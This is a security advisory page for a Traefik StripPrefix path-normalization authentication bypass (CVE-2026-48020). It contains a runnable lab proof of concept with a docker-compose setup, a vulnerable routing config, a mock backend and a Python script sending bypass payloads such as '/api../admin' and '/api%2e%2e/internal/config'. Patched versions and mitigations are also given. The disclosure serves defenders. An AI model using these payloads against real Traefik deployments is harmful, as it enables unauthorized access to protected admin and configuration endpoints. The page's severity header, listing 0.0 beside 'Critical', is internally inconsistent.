GHSA-xf64-8mw2-4gr2 CVE-2026-48020 GO-2026-5752
Traefik has a StripPrefix Route-Level Auth Bypass via Path Normalization
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.78%
- Chance of exploitation in the next 30 days. Higher than 55.79% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-288 Authentication Bypass Using an Alternate Path or Channel
- Fix
- Available
- 2 packages have a fixed version
Description
Summary
There is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.48
- https://github.com/traefik/traefik/releases/tag/v3.6.19
- https://github.com/traefik/traefik/releases/tag/v3.7.3
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)
Summary
A route-level authentication/authorization bypas was found in Traefik when PathPrefix-based public routes are combined with StripPrefix.
A request using /api../ or /api%2e%2e/ can avoid protected router rules at the routing stage, but after StripPrefix, the path is normalized and forwarded to the backend as a protected path such as /admin or /internal/config.
This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed StripPrefixRegex / path-normalization issues.
This report specifically affects StripPrefix.
Affected Versions Tested
| Image | Observed Version | Result |
|---|---|---|
traefik:v2.11 |
v2.11.46 |
Affected |
traefik:v3.6 |
v3.6.17 |
Affected |
traefik:latest |
v3.7.1 |
Affected |
Lab Contrast
| Image | Result |
|---|---|
traefik:v2.10 |
Not reproduced in lab |
traefik:v3.5 |
Not reproduced in lab |
Vulnerable Configuration Pattern
The issue appears when:
- a broad public route strips a prefix
- while a separate protected route is intended to guard internal/admin paths
http:
routers:
public-api:
rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
entryPoints:
- web
middlewares:
- strip-api
service: backend
protected:
rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
entryPoints:
- web
middlewares:
- auth
service: backend
middlewares:
strip-api:
stripPrefix:
prefixes:
- /api
auth:
basicAuth:
users:
- 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services:
backend:
loadBalancer:
servers:
- url: http://backend:9000
Observed Behavior
Direct Protected Paths
These are correctly blocked.
| Request | Expected | Observed |
|---|---|---|
GET /admin |
Blocked | 401 |
GET /internal/config |
Blocked | 401 |
Expected Public Exclusions
These do not expose protected backend paths.
| Request | Expected | Observed |
|---|---|---|
GET /api/admin |
Not routed to protected backend path | 404 |
GET /api/internal/config |
Not routed to protected backend path | 404 |
Bypass Payloads
These reach protected backend paths.
| Request | Observed Status | Backend Receives |
|---|---|---|
GET /api../admin |
200 |
/admin |
GET /api%2e%2e/admin |
200 |
/admin |
GET /api../internal/config |
200 |
/internal/config |
GET /api%2e%2e/internal/config |
200 |
/internal/config |
Minimal PoC
docker-compose.yml
services:
traefik:
image: traefik:v3.7
command:
- --providers.file.filename=/etc/traefik/dynamic.yml
- --entrypoints.web.address=:8080
- --accesslog=true
ports:
- "127.0.0.1:18080:8080"
volumes:
- ./dynamic.yml:/etc/traefik/dynamic.yml:ro
depends_on:
- backend
backend:
image: python:3.12-slim
working_dir: /app
command: python backend.py
volumes:
- ./backend.py:/app/backend.py:ro
expose:
- "9000"
dynamic.yml
http:
routers:
public-api:
rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
entryPoints:
- web
middlewares:
- strip-api
service: backend
protected:
rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
entryPoints:
- web
middlewares:
- auth
service: backend
middlewares:
strip-api:
stripPrefix:
prefixes:
- /api
auth:
basicAuth:
users:
- 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services:
backend:
loadBalancer:
servers:
- url: http://backend:9000
backend.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class Handler(BaseHTTPRequestHandler):
def log_message(self, fmt, *args):
return
def _json(self, status, obj):
body = json.dumps(obj).encode()
self.send_response(status)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_GET(self):
if self.path == "/admin":
self._json(200, {
"seen_path": self.path,
"secret": "ADMIN_SECRET_REACHED"
})
elif self.path == "/internal/config":
self._json(200, {
"seen_path": self.path,
"secret": "TRAEFIK_LAB_INTERNAL_CONFIG"
})
elif self.path == "/admin/exec":
self._json(200, {
"seen_path": self.path,
"rce_chain_marker": True,
"note": "protected execution endpoint reached"
})
else:
self._json(404, {
"seen_path": self.path,
"secret": None
})
HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()
poc.py
#!/usr/bin/env python3
from urllib.request import Request, urlopen
from urllib.error import HTTPError
BASE = "http://127.0.0.1:18080"
PATHS = [
"/admin",
"/internal/config",
"/api/admin",
"/api/internal/config",
"/api../admin",
"/api%2e%2e/admin",
"/api../internal/config",
"/api%2e%2e/internal/config",
"/admin/exec",
"/api/admin/exec",
"/api../admin/exec",
"/api%2e%2e/admin/exec",
]
for path in PATHS:
req = Request(BASE + path)
try:
with urlopen(req, timeout=5) as r:
status = r.status
body = r.read().decode(errors="replace")
except HTTPError as e:
status = e.code
body = e.read().decode(errors="replace")
print(f"{path:28} {status} {body[:180]}")
Run
docker compose up -d
python3 poc.py
Expected Vulnerable Output
/admin 401
/internal/config 401
/api/admin 404
/api/internal/config 404
/api../admin 200 backend seen_path=/admin
/api%2e%2e/admin 200 backend seen_path=/admin
/api../internal/config 200 backend seen_path=/internal/config
/api%2e%2e/internal/config 200 backend seen_path=/internal/config
/api../admin/exec 200 protected execution endpoint reached
/api%2e%2e/admin/exec 200 protected execution endpoint reached
Root Cause Hypothesis
The vulnerable behavior appears to be caused by path normalization after prefix stripping.
Incoming path: /api../admin
After StripPrefix("/api"): /../admin
After JoinPath(): /admin
The request does not match the protected /admin router at the routing stage, but the backend receives /admin after normalization.
The relevant behavior appears related to StripPrefix calling req.URL.JoinPath() after removing the prefix in newer versions.
Security Impact
An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.
Potential impact includes:
- Access to protected admin paths
- Access to internal configuration endpoints
- Exposure of secrets returned by internal backends
- Access to protected backend management functionality
- Conditional RCE if the protected backend exposes an execution primitive
In the local lab, a protected /admin/exec endpoint was reachable through /api../admin/exec, demonstrating a conditional RCE chain when the backend contains an execution primitive.
This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.
Suggested Severity
Suggested CVSS is 10.0 Critical with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.
If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as 9.1 Critical with Scope Unchanged:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.
Weakness
Primary CWE:
CWE-863: Incorrect Authorization
Related weakness candidates:
CWE-180: Incorrect Behavior Order: Validate Before CanonicalizeCWE-22: Improper Limitation of a Pathname to a Restricted Directory
Mitigation Verified in Lab
The bypass was blocked when using a stricter prefix boundary:
PathRegexp(`^/api(/|$)`)
or:
PathPrefix(`/api/`) with StripPrefix(`/api/`)
Relation to Existing Advisories
This appears related to the same vulnerability family as prior Traefik path normalization / StripPrefixRegex bypass advisories, but it affects StripPrefix and remains reproducible on patched/latest versions tested above.
This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.
Reporter
WonYun / kyun0
</details>
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/traefik/traefik | all versions |
No fix yet |
| github.com/traefik/traefik/v2 | < 2.11.48 |
2.11.48 |
| github.com/traefik/traefik/v3 | < 3.6.19 |
3.6.19 |
| github.com/traefik/traefik/v3 | >= 3.7.0-ea.1, < 3.7.3 |
3.7.3 |
| github.com/traefik/traefik/v3 | < 3.6.19>= 3.7.0-ea.1, < 3.7.3 |
3.6.193.7.3 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/traefik/traefik/v2 Go → 2.11.48
- go
go get github.com/traefik/traefik/v2@v2.11.48 && go mod tidy
github.com/traefik/traefik/v3 Go → 3.6.19
- go
go get github.com/traefik/traefik/v3@v3.6.19 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- None
CVSS 3.1 10.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CWE-288: Authentication Bypass Using an Alternate Path or Channel
The product requires authentication, but the product has an alternate path or channel that does not require authentication.
How to prevent it
- Architecture and Design: Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.
References
Advisories
Packages
Other links
- github.com/traefik/traefik/security/advisories/GHSA-xf64-8mw2-4gr2
- access.redhat.com/errata/RHSA-2026:62260
- access.redhat.com/security/cve/CVE-2026-48020
- bugzilla.redhat.com/show_bug.cgi
- github.com/traefik/traefik/releases/tag/v2.11.48
- github.com/traefik/traefik/releases/tag/v3.6.19
- github.com/traefik/traefik/releases/tag/v3.7.3
- security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48020.json
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GO-2026-6558 Traefik: BasicAuth singleflight coalescing reintroduces an unauthenticated username-enumeration timing oracle | Medium | Also affects github.com/traefik/traefik |
| GHSA-f52w-8j3h-j724 Traefik: Rootless HTTP/1 request-target routes as "/" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging | High | Also affects github.com/traefik/traefik |
| GHSA-w4v4-9rw7-5326 Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization | Critical | Also affects github.com/traefik/traefik |
| GHSA-qqjf-53cj-pwvv Traefik HTTP/3 Backend NTLM Connection Reuse | Critical | Also affects github.com/traefik/traefik |
| GO-2026-6467 Traefik entrypoint header-name sanitization bypassed via request trailers | High | Also affects github.com/traefik/traefik |
| GHSA-rf44-j88r-hh8c Traefik: ForwardAuth identity spoofing via dot-form header alias | High | Also affects github.com/traefik/traefik |
| GHSA-7ghq-v6jf-g56c Traefik: respondingTimeouts.readTimeout is not applied to HTTP/3, leaving slow-body uploads unbounded | Medium | Also affects github.com/traefik/traefik |
| GHSA-62fc-8686-hfmq Traefik: `allowCrossNamespace=false` bypass via `@kubernetescrd` TraefikService backendRef | Medium | Also affects github.com/traefik/traefik |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor